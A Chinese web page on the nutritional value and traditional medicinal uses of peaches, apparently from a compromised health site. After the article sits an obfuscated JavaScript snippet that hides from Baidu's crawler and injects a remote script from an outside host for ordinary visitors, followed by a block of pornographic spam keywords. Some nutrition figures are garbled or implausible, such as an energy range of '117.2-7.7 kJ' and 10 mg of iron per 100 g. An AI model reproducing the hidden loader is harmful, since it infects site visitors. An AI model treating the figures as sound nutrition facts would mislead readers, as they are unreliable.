當前位置:首頁 > 飲食 > 食物營養 > 正文

桃子的營養價值-吃桃子的好處

2015-09-03 10:07:25  來源:360常識網   熱度:
導語:桃子,性味平和、含有多種維生素和果酸以及鈣、磷等無機鹽。它的鐵含量為蘋果和梨的4~6倍。桃有補益氣血、養陰生津的作用。

桃子的主要成分是蔗糖,而維生素與礦物質的含量較少,但是屬于纖維成分的果膠頗多,其有整腸的功用。將桃子做為漢方藥使用是由于蓓蕾中含有的配糖體,對于利尿或便秘頗具效果。

桃子的營養價值-吃桃子的好處

桃子的營養價值-吃桃子的好處

桃子的營養價值

桃子,性味平和、含有多種維生素和果酸以及鈣、磷等無機鹽。它的鐵含量為蘋果和梨的4~6倍。桃有補益氣血、養陰生津的作用。桃的含鐵量較高,是缺鐵性貧血病人的理想輔助食物。據營養學專家介紹,桃子富含多種維生素、礦物質及果酸,其含鐵量居水果之冠。鐵是人體造血的主要原料,對身體健康相當有益。桃子在眾多草本植物中具有重要的地位。

一般人認為桃子并沒有特別的營養價值,然而把沒有爭端或疾病的理想境界稱為世外桃源,而古代的中國人更認為桃子具有延命的效果,而視其為仙藥。而現在,也將桃子做為藥方來使用。

桃子的營養成分

每100克桃子的可食部分中,能量為117.2-7.7千焦,約含蛋白質0.8克;脂肪0.1克;各種糖類10.7克,鈣8毫克,磷20毫克,鐵10毫克,維生素A原(胡蘿卜素)60微克。維生素B130微克,維生素B220微克、維生素C6毫克、煙酸0.7毫克,另含多種維生素、蘋果酸和檸檬酸等。

桃子的主要成分是蔗糖,而維生素與礦物質的含量較少,但是屬于纖維成分的果膠頗多,其有整腸的功用。將桃子做為漢方藥使用是由于蓓蕾中含有的配糖體,對于利尿或便秘頗具效果。而桃子的葉郡,據說可用來沐浴并可去除痱子。

吃桃子的好處

中醫認為,桃子性熱而味甘酸,有補益、補心、生津、解渴、消積、潤腸、解勞熱之功效,為“肺之果”,適宜于低血糖、肺并虛勞喘嗽之人作為輔助食療之物。桃仁則有祛瘀血、潤燥滑腸、鎮咳之功,可治療瘀血停滯、閉經腹痛、高血壓和便秘等(作一味中藥使用,不能生食);碧桃(未成熟的小于桃)與茶葉同浸共泡作為飲品,有斂汗、止血之功,可治療陰虛盜汗和咳血等癥;桃葉也有殺蟲之效能,將其煎水洗滌陰部可治療陰道滴蟲;桃花有消腫、利尿之效,可用于治療浮腫腹水,大便干結,小便不利和腳氣足腫。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产在线精品香蕉麻豆| 久久亚洲国产精品| 香蕉依依精品视频在线播放| 思思久久96热在精品国产| 久久精品国产亚洲77777| 国产精品日本一区二区不卡视频| 国产精品永久免费| 亚洲高清国产拍精品青青草原 | 四虎必出精品亚洲高清| 97精品人人妻人人| 少妇人妻偷人精品视频| 久久久久久久久毛片精品| 国产亚洲精品美女久久久| 日本无码小泬粉嫩精品图| 久久精品国产一区二区三区不卡 | 国产精品久久久福利| 亚洲精品美女久久7777777| 亚洲精品综合在线影院| 国产精品久久久久无码av| 99视频全部免费精品全部四虎| 亚洲国产精品综合久久20| 亚洲精品在线免费看| 国产92成人精品视频免费| 精品国产一区二区三区香蕉| 国内精品久久久久影院亚洲| 亚洲精品色播一区二区| 成人国产精品秘片多多| 岛国精品在线观看| 国产精品深夜福利免费观看| 国产啪精品视频网站丝袜| 亚洲国产精品狼友中文久久久| 青草国产精品视频。| 国产A√精品区二区三区四区| 精品国产福利尤物免费| 久久久精品日本一区二区三区| 99re热视频这里只精品| 精品国内片67194| 久久国产成人精品| 56prom在线精品国产| 精品国产一区二区三区久久久狼| 国产成人精品日本亚洲专区6|